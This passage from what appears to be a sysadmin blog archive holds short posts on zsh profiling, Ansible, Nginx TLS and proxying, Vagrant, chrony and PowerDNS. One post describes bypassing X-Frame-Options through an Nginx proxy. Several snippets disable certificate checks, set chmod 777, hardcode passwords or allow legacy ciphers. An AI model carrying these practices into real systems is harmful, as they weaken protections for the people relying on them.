 return server02.ListenAndServe()
 })

 if err := g.Wait(); err != nil {
 log.Fatal(err)
 }
}

XML, JSON, YAML, and ProtoBuf rendering (output formats)

SecureJSON

SecureJSON prevents JSON hijacking. If the response is an array, it will prefix the output with “while(1)” by default.

What happens after you type a URL in the browser and press Enter?

Sun, 18 Jul 2021 23:45:45 +0800

What happens after you type a URL in the browser and press Enter?

I can feel the speed — optimize zsh and oh my zsh cold start

Thu, 15 Jul 2021 18:19:06 +0800

I can feel the speed — optimize zsh and oh my zsh cold start

Profiling

# .zshrc
zmodload zsh/zprof

$ /bin/zsh
$ zprof

num calls time self name
-----------------------------------------------------------------------------------
 1) 1 395.66 395.66 33.10% 395.59 395.59 33.09% _zsh_nvm_auto_use
 2) 1 216.22 216.22 18.09% 216.13 216.13 18.08% nvm_die_on_prefix
 3) 1 648.00 648.00 54.20% 168.85 168.85 14.12% nvm_auto
 4) 2 479.15 239.57 40.08% 160.50 80.25 13.43% nvm
 5) 1 102.30 102.30 8.56% 84.99 84.99 7.11% nvm_ensure_version_installed
 6) 2 51.21 25.60 4.28% 29.55 14.78 2.47% compinit
 7) 1 680.18 680.18 56.89% 22.17 22.17 1.85% _zsh_nvm_load
 8) 2 21.66 10.83 1.81% 21.66 10.83 1.81% compaudit
 9) 1 17.31 17.31 1.45% 17.31 17.31 1.45% nvm_is_version_installed
10) 193 17.43 0.09 1.46% 14.50 0.08 1.21% _zsh_autosuggest_bind_widget
[Redacted]

The zprof module only reports the time for each zsh function, so it is useful for finding oh-my-zsh plugins that slow down cold start. To profile the entire .zshrc, use xtrace. Add the following at the top of .zshrc:

[Community] Cisco UCS CIMC series

Thu, 15 Jul 2021 17:16:52 +0800

SQL queries don't start with SELECT

Wed, 14 Jul 2021 18:11:46 +0800

SQL queries don’t start with SELECT

SQL queries happen in this order

FROM/JOIN and all the ON conditions
WHERE
GROUP BY
HAVING
SELECT (including window functions)
ORDER BY
LIMIT

6 YAML Features most programmers don't know

Wed, 07 Jul 2021 15:08:31 +0800

6 YAML Features most programmers don’t know

There are more examples that are similarly dangerous as Tom Ritchford pointed out

013 is mapped to 11 as the leading zero triggers the octal notation
4:30 is mapped to 270. Max Werner Kaul-Gothe and Niklas Baumstark informed me that this is automatically converted to minutes (or seconds?) as it is interpreted as a duration: 4*60 + 30 = 270 . Interestingly, this pattern still “works” with 1:1:1:1:1:1:1:1:4:30 .

Multi-Line String

mail_signature: |
 Martin Thoma
 Tel. +49 123 4567

{ "mail_signature": "Martin Thoma\nTel. +49 123 4567" }

Anchor

The & defined a variable emailAddress with the value "info@example.de". The * then indicated that the name of a variable follows.

Draw Diagrams With Markdown

Tue, 29 Jun 2021 15:55:35 +0800

Draw Diagrams With Markdown

ansible.builtin.slurp - read file content

Mon, 31 May 2021 17:15:04 +0800

ansible.builtin.slurp - read file content

---
- name: Use HTTP POST to upload file
 hosts: all

 tasks:
 - name: Read binary file content
 slurp:
 path: "/bin/ls"
 register: bin_file

 - name: Send HTTP POST Request
 uri:
 url: "https://your_server/upload.php"
 headers:
 Accept: "application/json"
 Content-Type: "application/octet-stream"
 method: POST
 validate_certs: false
 body: "{{ bin_file.content }}"
 status_code:
 - 200
 - 201
 register: upload_result

 - name: Display upload_result
 debug:
 var: upload_result

Using slurp avoids the limitations of lookup(‘file’).

You can read files on managed hosts, or use delegate_to: localhost to read files on the controller.
You can read binary files for further processing, such as base64 encoding.

Nginx request_time and upstream_response_time explained

Fri, 14 May 2021 16:04:04 +0800

Nginx request_time and upstream_response_time explained

Time definitions

request_time

Time from the first byte of the client request to the completion of response data being sent. $request_time includes time to receive the request, time for the upstream to respond, and time to send the response (excluding log write time).

upstream_response_time

Time from Nginx establishing a connection to the upstream until all data is received and the connection is closed.

upstream_connect_time

Time to connect to the upstream server. If using an encrypted protocol, this includes handshake time.

How to use a here documents to write data to a file in bash script

Fri, 07 May 2021 11:37:35 +0800

How to use a here documents to write data to a file in bash script

allow here-documents within shell scripts to be indented in a natural fashion using `EOF<<-`

command <<-EOF
 msg1
 msg2
 $var on line
EOF

Disabling pathname/parameter/variable expansion, command substitution, arithmetic expansion with `'EOF'`

#!/bin/bash
OUT=/tmp/output.txt

echo "Starting my script..."
echo "Doing something..."
# No parameter and variable expansion, command substitution, arithmetic expansion, or pathname expansion is performed on word.
# If any part of word is quoted, the delimiter is the result of quote removal on word, and the lines in the here-document
# are not expanded. So EOF is quoted as follows
cat <<'EOF' >$OUT
 Status of backup as on $(date)
 Backing up files $HOME and /etc/
EOF

echo "Starting backup using rsync..."

Upgrade database failed after ugrade to Zabbix 5...

Mon, 03 May 2021 16:33:23 +0800

High Performance Go Workshop

Wed, 28 Apr 2021 16:37:05 +0800

High Performance Go Workshop

Bypass X-Frame-Options with Nginx

Mon, 26 Apr 2021 17:39:33 +0800

Bypass X-Frame-Options with Nginx

The X-Frame-Options HTTP response header tells the browser whether a page can be displayed inside <frame>, <iframe>, <embed>, or <object>. Sites can prevent clickjacking by ensuring their pages are not embedded elsewhere. By using Nginx as a forward proxy, we can bypass X-Frame-Options and embed a third-party page in our own page.

X-Frame-Options has three possible values:

deny: the page cannot be displayed in a frame, even on the same origin.
sameorigin: the page can be displayed in a frame on the same origin.
allow-from uri: the page can be displayed in a frame only from the specified origin.

When Chrome tries to load frame content and X-Frame-Options denies it, the console shows an error like: Refuse to display 'http://192.168.20.101:8080' in a frame because it set 'X-Frame-Options' to 'deny'.

Setting up JWT Authentication

Fri, 23 Apr 2021 11:13:34 +0800

SSH failing with Error : fatal: daemon() failed: No such device

Thu, 04 Mar 2021 18:48:39 +0800

SSH failing with Error : fatal: daemon() failed: No such device

/var/log/secure

Oct 10 10:58:05 vps sshd[23799]: fatal: daemon() failed: No such device

# rm -vf /dev/null
removed `/dev/null`
-bash-3.2# mknod /dev/null c 1 3
Started SSH and the SSH started responding:

# service sshd restart
Stopping sshd: [ OK ]
Starting sshd: [ OK ]
-bash-3.2# service sshd status
openssh-daemon (pid 30608) is running…

Enable GitLab project integration: Mattermost slash commands

Thu, 28 Jan 2021 11:50:41 +0800

Enable GitLab project integration: Mattermost slash commands

Nginx SSL/TLS configuration with TLSv1.2 and TLSv1.3 - ECDHE and strong ciphers suite (Openssl 1.1.1)

Fri, 22 Jan 2021 13:49:17 +0800

Nginx SSL/TLS configuration with TLSv1.2 and TLSv1.3 - ECDHE and strong ciphers suite (Openssl 1.1.1)

ssl.conf

##
# SSL Settings (TLSv1.2 and TLSv1.3)
##
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers 'TLS13+AESGCM+AES128:EECDH+AES128';
ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:50m;
ssl_session_timeout 1d;
ssl_session_tickets off;
ssl_ecdh_curve X25519:sect571r1:secp521r1:secp384r1

universal-ssl.conf

##
# SSL Settings (TLSv1.0 + TLSv1.1 + TLSv1.2 + TLSv1.3)
##
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3;
ssl_ciphers 'TLS13+AESG+AES128:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES25GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:DHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-R-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-S:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA:!DSS';
ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:50m;
ssl_session_timeout 1d;
ssl_session_tickets off;
ssl_ecdh_curve X25519:sect571r1:secp521r1:secp384r1;

Let Zsh read macOS system proxy settings and set env vars

Mon, 11 Jan 2021 14:50:11 +0800

Let Zsh read macOS system proxy settings and set env vars

$ system_profiler SPNetworkDataType # get full network configuration

$ networksetup -listallnetworkservices # list all network services
$ networksetup -getwebproxy Wi-Fi # get system proxy settings for a specific service

$ scutil --proxy # get enabled proxy settings (wrapper for system_profiler)

WSL 2 .wslconfig configuration explained

Wed, 30 Dec 2020 21:24:12 +0800

Steps to install WSL 2:

Join the Windows Insider Program (required)
Enable required WSL components
Install a Linux distribution
Set the Linux distribution to use WSL 2
WSL 2 troubleshooting: compressed virtual disk files cannot be converted to the WSL 2 architecture
Install and start Docker
Install Docker Desktop v2.2.1.0

# Enable required WSL components
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart

# Set the Linux distribution to WSL 2
wsl --set-version ubuntu 2
wsl --set-default-version 2

Edit %UserProfile%\.wslconfig

Day 19 BGP Protocol (1)

Wed, 30 Dec 2020 20:00:33 +0800

Style PowerShell with oh-my-posh

Thu, 10 Dec 2020 13:15:59 +0800

Style PowerShell with oh-my-posh

# This downloads and installs the posh-git and oh-my-posh modules from PowerShell Gallery.
# The former shows Git info in the prompt, and the latter provides the themes.
Install-Module posh-git -Scope CurrentUser
Install-Module oh-my-posh -Scope CurrentUser


# Next, edit the PowerShell profile loaded at startup. In PowerShell, $PROFILE shows the current
# user's profile path. The file may not exist; run the commands below to create it and open it.
if (!(Test-Path -Path $PROFILE )) { New-Item -Type File -Path $PROFILE -Force }
notepad $PROFILE

Add the following commands to the profile file:

An introduction to hacker tools: the tip of the iceberg

Tue, 08 Dec 2020 21:50:47 +0800

An introduction to hacker tools: the tip of the iceberg

Provisioning a Windows Server Vagrant box with IIS, .NET 4.5 and Octopus Deploy

Thu, 03 Dec 2020 12:39:01 +0800

New LibSSH Connection Plugin for Ansible Network Replaces Paramiko, Adds FIPS Mode Enablement

Wed, 25 Nov 2020 21:09:50 +0800

New LibSSH Connection Plugin for Ansible Network Replaces Paramiko, Adds FIPS Mode Enablement

Switching Ansible Playbooks to use LibSSH

# Installing LibSSH
pip install ansible-pylibssh

Using LibSSH in Ansible Playbooks

Method 1. The ssh_type configuration parameter can be set to use libssh in the active ansible.cfg file of your project

[persistent_connection]
ssh_type = libssh

Method 2: Set the ANSIBLE_NETWORK_CLI_SSH_TYPE environment variable

$ export ANSIBLE_NETWORK_CLI_SSH_TYPE=libssh

Method 3: Set the ansible_network_cli_ssh_type parameter to libssh within your playbook at the play level

Mount a Synology NAS folder on CentOS 7

Mon, 09 Nov 2020 12:12:32 +0800

Mount a Synology NAS folder on CentOS 7

Set SSLKEYLOGFILE on MacBook to decrypt HTTPS traffic

Fri, 06 Nov 2020 20:02:54 +0800

Set SSLKEYLOGFILE on MacBook to decrypt HTTPS traffic

Create keylogfile

mkdir ~/sslkeylogfile && touch ~/sslkeylogfile/keylogfile.log # create keylogfile.log
sudo chmod 777 ~/sslkeylogfile/keylogfile.log # change permissions so Chrome can write on startup

Configure environment variable

vim ~/.zshrc # open config file
export SSLKEYLOGFILE=~/sslkeylogfile/keylogfile.log # set environment variable
source ~/.zshrc # reload config

Configure Wireshark

preferences -> Protocols -> TLS

Set TLS debug file to record decryption logs
Set (Pre)-Master-Secret log filename to the absolute path of keylogfile.log

Start Chrome from terminal

Backup FortiOS config with Ansible - with RestAPI

Tue, 03 Nov 2020 17:59:24 +0800

Create access profile

FGTAWS0004BE1ADE # config system accprofile
FGTAWS0004BE1ADE (accprofile) # edit readOnly
new entry 'readOnly' added
FGTAWS0004BE1ADE (readOnly) # set sysgrp read
FGTAWS0004BE1ADE (readOnly) # end

Create API user in Fortigate

FGTAWS0004BE1ADE # config system api-user
FGTAWS0004BE1ADE (api-user) # edit api-admin
new entry 'api-admin' added
FGTAWS0004BE1ADE (api-admin) # set accprofile "readOnly"
FGTAWS0004BE1ADE (api-admin) # set vdom root
FGTAWS0004BE1ADE (api-admin) # config trusthost
FGTAWS0004BE1ADE (trusthost) # edit 1
new entry '1' added
FGTAWS0004BE1ADE (1) # set ipv4-trusthost 'ip_address_of_your_machine' 255.255.255.255
FGTAWS0004BE1ADE (1) # end
FGTAWS0004BE1ADE (api-admin) # end

Generate API token

FGTAWS0004BE1ADE # execute api-user generate-key api-admin
New API key: 'your_api_token'
NOTE: The bearer of this API key will be granted all access privileges assigned to the api-user api-admin.

Test

# fortigate.py
import requests
import urllib3 # disable security warning for SSL certificate
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # disable security warning for SSL certificate


def config_download(ipaddr, api_token, filename='backup.conf'):
 '''
 input: ipaddr(string) - target ip address of fortigate
 input: api_token(string) - api_token for api user(accprofile should have sysgrp.mnt)
 input: filename(string) - file name of the config to be saved. default backup.conf
 output: True if backup successfule. False if not successful.
 Tested on: Fortigate OnDemand on AWS - FortiOS6.0.4
 '''
 base_url = f'https://{ipaddr}/api/v2/'
 headers = {'Authorization': f'Bearer {api_token}'}
 params = {'scope': 'global'}
 uri = 'monitor/system/config/backup/'

 rep = requests.get(base_url + uri, headers=headers, params=params, verify=False)

 if rep.status_code != 200:
 print(f'Something went wrong. status_code: {rep.status_code}')
 return False

 with open(filename, 'w') as f:
 f.write(rep.text)

 return True

>>> import fortigate
>>>
>>> ip_addr = 'Fortigate_IP_Address'
>>> api_token = 'API_TOKEN'
>>>
>>> if (fortigate.config_download(ip_addr, api_token, 'backup20190215.conf')):
... print('Done!')
... else:
... print('Error!!')
...
Done!
>>>
>>> with open('backup20190215.conf', 'r') as f:
... f.readline()
...
'#config-version=FGTAWS-6.0.4-FW-build0231-190107:opmode=0:vdom=0:user=api-admin\n'
>>>

Configure Ansible inventory and playbook

$ cat hosts
[fortigate]
x.x.x.x access_token=w4q9qtfbGry3Nbc40kHjsk9mxG****
y.y.y.y access_token=tfy8c9b8Nxw6N3Q5Q5bg9z69dn****

$ cat fortigate_backup.yml
 - name: fortigate config backup
 connection: local
 hosts: fortigate

 tasks:
 - name: get current config
 uri:
 url: 'https://{{ ansible_host }}/api/v2/monitor/system/config/backup/?scope=global&access_token={{ access_token }}'
 return_content: yes
 validate_certs: no
 register: current_config

 - name: write config to local file
 local_action: copy content={{ current_config.content }} dest=./{{ inventory_hostname }}_{{ ansible_date_time.date }}.txt

In 2020, use the latest NGINX ngx_http_geoip2 module to block IPs by country or region

Tue, 27 Oct 2020 15:44:48 +0800

Install geoip2 lib

cd /usr/local/src
rm -f libmaxminddb-1.4.2.tar.gz
wget https://github.com/maxmind/libmaxminddb/releases/download/1.4.2/libmaxminddb-1.4.2.tar.gz
tar -xzf libmaxminddb-1.4.2.tar.gz
cd libmaxminddb-1.4.2
yum install gcc gcc-c++ make -y
./configure
make
make check
sudo make install

echo '/usr/local/lib' > /etc/ld.so.conf.d/geoip.conf
sudo ldconfig

Download ngx_http_geoip2_module

cd /usr/local/src
wget https://github.com/leev/ngx_http_geoip2_module/archive/3.3.tar.gz
tar -xzf 3.3.tar.gz
mv ngx_http_geoip2_module-3.3 ngx_http_geoip2_module

# nginx集成
cd /usr/local/src
wget http://nginx.org/download/nginx-1.16.1.tar.gz
tar -zxf nginx-1.16.1.tar.gz
cd nginx-1.16.1
useradd -M -s /sbin/nologin www


yum install gcc gcc-c++ make pcre-devel zlib-devel openssl-devel -y
./configure --user=www --group=www --prefix=/usr/local/nginx \
--with-ld-opt="-Wl,-rpath -Wl,/usr/local/lib" \
--with-http_sub_module \
--with-http_realip_module \
--with-http_gzip_static_module \
--with-http_ssl_module \
--with-http_v2_module \
--add-module=/usr/local/src/ngx_http_geoip2_module

make
make install

Download geoip2 IP database

The latest GeoLite2-City.mmdb for 2020 cannot be downloaded directly. You must register a maxmind account.

Nginx HTTPS with Basic Auth reverse proxy for VMware ESXi 6.5 fixed VMRC /screen

Sat, 17 Oct 2020 12:31:02 +0800

Nginx HTTPS with Basic Auth reverse proxy for VMware ESXi 6.5 fixed VMRC /screen

server {
 listen 80;
 server_name esxi.hackion.com;
 return 301 https://$server_name$request_uri;
}

server {
 listen 443 ssl;
 server_name esxi.hackion.com;

 ssl_certificate /mycert.crt;
 ssl_certificate_key /mykey.key;

 location / {
 auth_basic "Restricted Content";
 auth_basic_user_file /etc/nginx/.htpasswd;

 proxy_set_header Upgrade $http_upgrade;
 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 proxy_set_header Host $host;
 proxy_set_header X-Real-IP $remote_addr;
 proxy_set_header Origin '';
 proxy_set_header Authorization ''; #Don't pass the Nginx Basic Auth to ESXi or it will break VMRC.
 proxy_pass_header X-XSRF-TOKEN;
 proxy_pass https://esxi_server;
 proxy_send_timeout 300;
 proxy_read_timeout 300;
 send_timeout 300;
 client_max_body_size 1000m;

 # enables WS support
 proxy_http_version 1.1;
 proxy_set_header Upgrade $http_upgrade;
 proxy_set_header Connection "upgrade";
 }
}

server {
 listen 443 ssl http2;

 # ssl_certificate and ssl_certificate_key are required
 ssl_certificate /etc/letsencrypt/live/myletsencryptdomain/fullchain.pem;
 ssl_certificate_key /etc/letsencrypt/live/myletsencryptdomain/privkey.pem;

 include /etc/nginx/snippets/ssl-params.conf;
 # removed DH params as my ssl-params.conf specifies to only use ECDHE key exchange.

 server_name fqdn.extern;

 location / {
 proxy_set_header Host $http_host;
 proxy_set_header X-Real-IP $remote_addr;

 proxy_ssl_verify off; # No need on isolated LAN
 proxy_pass https://vcenter.ip; # esxi IP Address

 proxy_http_version 1.1;
 proxy_set_header Upgrade $http_upgrade;
 proxy_set_header Connection "upgrade";

 proxy_buffering off;
 client_max_body_size 0;
 proxy_read_timeout 36000s;

 proxy_redirect https://fqdn.local/ https://fqdn.extern/; # read comment below
 # replace vcenter-hostname with your actual vcenter's hostname, and esxi with your nginx's server_name.
 }

 location /websso/SAML2 {
 proxy_set_header Host fqdn.local; # your actual vcenter's hostname
 proxy_set_header X-Real-IP $remote_addr;

 proxy_ssl_verify off; # No need on isolated LAN
 proxy_pass https://vcenter.ip; # esxi IP Address

 proxy_http_version 1.1;
 proxy_set_header Upgrade $http_upgrade;
 proxy_set_header Connection "upgrade";

 proxy_buffering off;
 client_max_body_size 0;
 proxy_read_timeout 36000s;
 proxy_ssl_session_reuse on;

 proxy_redirect https://fqdn.local/ https://fqdn.extern/; # read comment below
 # replace vcenter-hostname with your actual vcenter's hostname, and esxi with your nginx's server_name.
 }
}

Running GitHub Actions for Certain Commit Messages

Sun, 11 Oct 2020 23:13:22 +0800

Running GitHub Actions for Certain Commit Messages

Now, whenever I push a wip commit or any commit that contains the word wip, it will be marked as skipped inside of GitHub actions.

jobs:
 format:
 runs-on: ubuntu-latest
 if: "! contains(github.event.head_commit.message, 'wip')"

Any commit that contains [build] will now trigger these jobs, everything else will be skipped.

jobs:
 format:
 runs-on: ubuntu-latest
 if: "contains(github.event.head_commit.message, '[build]')"

Using Vagrant to Deploy Multiple VMs on vSphere

Mon, 05 Oct 2020 09:53:03 +0800

Using Vagrant to Deploy Multiple VMs on vSphere

vm1 = { 'name' => "PhotonVM1", 'ip' => "192.168.5.224" }
vm2 = { 'name' => "PhotonVM2", 'ip' => "192.168.5.225" }
vms = [ vm1, vm2]

Vagrant.configure(2) do |config|
 vms.each do |node|
 vm_name = node['name']
 vm_ip = node['ip']
 config.vm.define vm_name do |node_config|
 node_config.vm.network 'private_network', ip: "#{vm_ip}"
 node_config.vm.box = "dummy"
 node_config.vm.box_url = "./example_box/dummy.box"
 node_config.vm.provider :vsphere do |vsphere|
 vsphere.host = 'vc01.testlab.local'
 vsphere.compute_resource_name = 'esxi01.testlab.local'
 vsphere.name = vm_name
 vsphere.customization_spec_name = 'centos66'
 vsphere.template_name = 'PhotonTemplate'
 vsphere.user = 'administrator@vsphere.local'
 vsphere.password = 'password'
 vsphere.insecure = true
 end
 end
 end
end

Vagrantfile and Provider

Fri, 02 Oct 2020 19:41:23 +0800

用以下這個範例你只要使用 Vagrant up 加上 provider 參數，就可開啟不同來源的機器

例如我要開啟 Vsphere 的機器，我只要下 vagrant up --provider=vsphere

要開 AWS 的機器，我只要下 vagrant up --provider=aws

VAGRANTFILE_API_VERSION = "2"

Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
 # 我們定義一個 Ubuntu 的機器
 # box 的需求是對於 local 的 VM 才需要的
 # 所以在 provider 是 vmware_fusion 或 Virtualbox 時，才會用到這個設定
 config.vm.box = "hashicorp/precise64"

 # vmware_fusion
 config.vm.provider "vmware_fusion" do |v, override|
 override.vm.box = "precise64_vmware"
 v.gui = false
 end

 # vsphere
 config.vm.provider :vsphere do |vsphere|
 # 對於私有雲及公有雲，要clone 的vm 是儲存在雲端上的
 # 所以 box 使用 dummy box 來達到這個目的
 vsphere.vm.box = "nkhasanov/vsphere-simple"
 vsphere.host = 'YOURIP'
 vsphere.compute_resource_name = 'YOUR DATACENTER'
 vsphere.resource_pool_name = 'YOUR RESOURCE POOL'
 vsphere.insecure = true
 vsphere.template_name = 'VM TEMPLATE'
 vsphere.name = "#{YOUR_NAME}-test-machine"
 vsphere.user = 'administrator'
 vsphere.password = '$p1unK_Lab'
 vsphere.vm_base_path = 'vmware_template'
 vsphere.linked_clone = true
 end

 # virtual box
 config.vm.provider "virtualbox" do |vb|
 vb.gui = false
 end

 # aws
 config.vm.provider :aws do |aws, override|
 # aws configurations
 aws.access_key_id = "#{YOUR_AWS_ACCESS_KEY_ID}"
 aws.secret_access_key = "#{YOUR_AWS_ACCESS_KEY}"
 aws.keypair_name = "#{YOUR_NAME}"
 aws.security_groups = "#{YOUR_NAME}"
 aws.instance_type = "t2.small"
 aws.region = "us-east-1"
 # ubuntu 14.04 x64
 aws.ami = "ami-864d84ee"

 # override info
 override.ssh.username = "ubuntu"
 override.ssh.private_key_path = "#{YOUR_AWS_PRIVATE_KEY_PATH}"
 override.vm.synced_folder "#{YOUR_SYNC_FOLDER}", "/vagrant", type: "rsync"
 override.vm.box = "dimroc/awsdummy"
 end

end

LOCAL_BOXS = {
 "ubuntu1404x64" => "ubuntu/trusty64",
 "ubuntu1210x64" => "chef/ubuntu-12.10"
}

AWS_AMIS = {
 "ubuntu1404x64" => "ami-864d84ee",
 "ubuntu1210x64" => "ami-02df496b",
 "windows2012r2x64" => "ami-9ade1df2",
 "windows2012x64" => "ami-5ce32034",
 "windows2008r2x64" => "ami-2ae02342",
 "windows2008x64" => "ami-5e24e936",
 "windows2003r2x64" => "ami-b0e320d8"
}

VAGRANTFILE_API_VERSION = "2"

Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
 config.vm.box = "precise64_vmware"

 # vmware_fusion
 config.vm.provider "vmware_fusion" do |v, override|
 override.vm.box = "precise64_vmware"
 v.gui = false
 v.vmx["memsize"] = "1024"
 v.vmx["numvcpus"] = "2"
 end

 # vsphere
 config.vm.provider :vsphere do |vsphere|
 vsphere.vm.box = "nkhasanov/vsphere-simple"
 vsphere.host = '#{}'
 vsphere.compute_resource_name = '#{}'
 # vsphere.resource_pool_name = 'YOUR RESOURCE POOL'
 vsphere.insecure = true
 vsphere.template_name = 'qasus-tw-centos7x64-01'
 vsphere.name = "#{YOUR_NAME}-test-machine"
 vsphere.user = 'administrator'
 vsphere.password = '#{}'
 vsphere.vm_base_path = 'vmware_template'
 vsphere.linked_clone = true
 end

 # virtual box
 config.vm.provider "virtualbox" do |vb|
 vb.gui = false
 vb.memory = 1024
 vb.cpus = 2
 end

 # aws
 config.vm.provider :aws do |aws, override|
 # aws configurations
 aws.access_key_id = "#{YOUR_AWS_ACCESS_KEY_ID}"
 aws.secret_access_key = "#{YOUR_AWS_ACCESS_KEY}"
 aws.keypair_name = "#{YOUR_NAME}"
 aws.security_groups = "#{YOUR_NAME}"
 aws.instance_type = "t2.small"
 aws.region = "us-east-1"
 # ubuntu 14.04 x64
 aws.ami = "ami-864d84ee"

 # override info
 override.ssh.username = "ubuntu"
 override.ssh.private_key_path = "#{YOUR_AWS_PRIVATE_KEY_PATH}"
 override.vm.synced_folder "#{YOUR_SYNC_FOLDER}", "/vagrant", type: "rsync"
 override.vm.box = "dimroc/awsdummy"
 end

 # VMs
 (1..MAX_VM_NUMBER).each do |i|
 # define linux
 config.vm.define "l#{i}" do |node|
 # aws
 node.vm.provider :aws do |aws|
 aws.tags = {
 "Name" => "#{YOUR_NAME}-linux-#{i}"
 }
 end
 # local
 # node.vm.network "private_network", ip: "192.168.33.%d" % (i+2)
 node.vm.hostname = "ftan-linux-#{i}"
 end
 # define windows
 config.vm.define "w#{i}" do |node|
 node.vm.provider :aws do |aws|
 aws.ami = "ami-2ae02342"
 aws.tags = {
 "Name" => "#{YOUR_NAME}-windows-#{i}"
 }
 end
 end
 end

 # define customer
 YOUR_CUSTOMIZED_VM.each do |vm|
 config.vm.define "%s" % vm["name"] do |node|
 # aws
 node.vm.provider :aws do |aws|
 aws.ami = AWS_AMIS[vm["platform"]]
 aws.tags = {
 "Name" => "#{YOUR_NAME}-%s" % vm["name"]
 }
 end
 # vmware fusion
 # vmware workstation
 node.vm.provider :vmware_fusion do |fusion|
 fusion.vm.box = LOCAL_BOXS[vm["platform"]]
 fusion.vm.hostname = "#{YOUR_NAME}-%s" % vm["name"]
 end
 # vsphere
 # azure
 end
 end
end

How to configure time zone and NTP on RHEL7/CentOS7

Tue, 29 Sep 2020 11:41:43 +0800

How to configure time zone and NTP on RHEL7/CentOS7

chrony includes two programs: chronyd is a daemon that starts on boot, and chronyc is a command-line client that can monitor chronyd and change runtime parameters.

Use either ntpd or chronyd, not both.

Configure time zone

~# timedatectl set-timezone Asia/Taipei
~# timedatectl
 Local time: Tue 2018-03-27 14:13:38 CST
 Universal time: Tue 2018-03-27 06:13:38 UTC
 RTC time: Tue 2018-03-27 06:13:40
 Time zone: Asia/Taipei (CST, +0800)
 NTP enabled: no
NTP synchronized: no
 RTC in local TZ: no
 DST active: n/a

Configure chronyd

# Install
~# yum install -y chrony

# Config file
~# cat /etc/chrony.conf
# Use public servers from the pool.ntp.org project.
# Please consider joining the pool (http://www.pool.ntp.org/join.html).
server 0.tw.pool.ntp.org iburst --->改成本地的伺服器
server 1.tw.pool.ntp.org iburst --->改成本地的伺服器
server 2.tw.pool.ntp.org iburst --->改成本地的伺服器
server 3.tw.pool.ntp.org iburst --->改成本地的伺服器

# Start service and enable on boot
~# systemctl enable chronyd
~# systemctl start chronyd

tracking parameters show system time performance

~# chronyc tracking
Reference ID : 3DD8996B (61-216-153-107.hinet-ip.hinet.net) --->表示現在同步的時間伺服器，如果沒有id表示沒有同步
Stratum : 4 --->表示計算機有多少"跳hop" 表示本地的是第四層
Ref time (UTC) : Tue Mar 27 06:03:38 2018 --->最後一次測量的時間
System time : 0.000040356 seconds fast of NTP time --->調整系統時間
Last offset : +0.000163738 seconds
RMS offset : 0.000163738 seconds
Frequency : 21.384 ppm fast
Residual freq : +0.000 ppm
Skew : 675.319 ppm
Root delay : 0.008527911 seconds
Root dispersion : 0.066466033 seconds
Update interval : 2.0 seconds
Leap status : Normal --->Normal要顯示此值, Insert second, Delete second or Not synchronised.

~# chronyc sources -v
210 Number of sources = 4

 .-- Source mode '^' = server, '=' = peer, '#' = local clock.
 / .- Source state '*' = current synced, '+' = combined , '-' = not combined,
| / '?' = unreachable, 'x' = time may be in error, '~' = time too variable.
|| .- xxxx [ yyyy ] +/- zzzz
|| Reachability register (octal) -. | xxxx = adjusted offset,
|| Log2(Polling interval) --. | | yyyy = measured offset,
|| \  | | zzzz = estimated error.
|| | | \
MS Name/IP address Stratum Poll Reach LastRx Last sample
===============================================================================
^* 59-124-29-241.hinet-ip.h> 3 6 37 24 -1462us[-2363us] +/- 49ms
^+ 61-216-153-107.hinet-ip.> 3 6 37 23 -556us[ -556us] +/- 64ms
^? 59-125-122-217.hinet-ip.> 0 7 0 - +0ns[ +0ns] +/- 0ns
^- 61-216-153-105.hinet-ip.> 3 6 37 23 -280us[ -280us] +/- 64ms

View sync source info

~# chronyc sourcestats -v
210 Number of sources = 4
 .- Number of sample points in measurement set.
 / .- Number of residual runs with same sign.
 | / .- Length of measurement set (time).
 | | / .- Est. clock freq error (ppm).
 | | | / .- Est. error in freq.
 | | | | / .- Est. offset.
 | | | | | | On the -.
 | | | | | | samples. \
 | | | | | | |
Name/IP Address NP NR Span Frequency Freq Skew Offset Std Dev
==============================================================================
59-124-29-241.hinet-ip.h> 6 5 135 -0.454 4.553 -784us 66us
61-216-153-107.hinet-ip.> 6 6 135 +4.455 19.761 +622us 247us
59-125-122-217.hinet-ip.> 0 0 0 +0.000 2000.000 +0ns 4000ms
61-216-153-105.hinet-ip.> 6 4 136 +8.965 42.440 +1250us 495us

Write system time to hardware clock

~# hwclock --systohc
~# date ; hwclock
Tue Mar 27 14:07:57 CST 2018
Tue 27 Mar 2018 02:07:58 PM CST -0.938012 seconds

Install PowerDNS and PowerDNS-Admin on Ubuntu 22.04|20.04|18.04

Fri, 25 Sep 2020 09:38:17 +0800

Install PowerDNS

$ sudo apt update
$ sudo apt install mariadb-server -y

$ sudo mysql -u root

CREATE DATABASE powerdns;
GRANT ALL ON powerdns.* TO 'powerdns'@'localhost' IDENTIFIED BY 'Str0ngPasswOrd';
FLUSH PRIVILEGES;
USE powerdns;
CREATE TABLE domains (
 id INT AUTO_INCREMENT,
 name VARCHAR(255) NOT NULL,
 master VARCHAR(128) DEFAULT NULL,
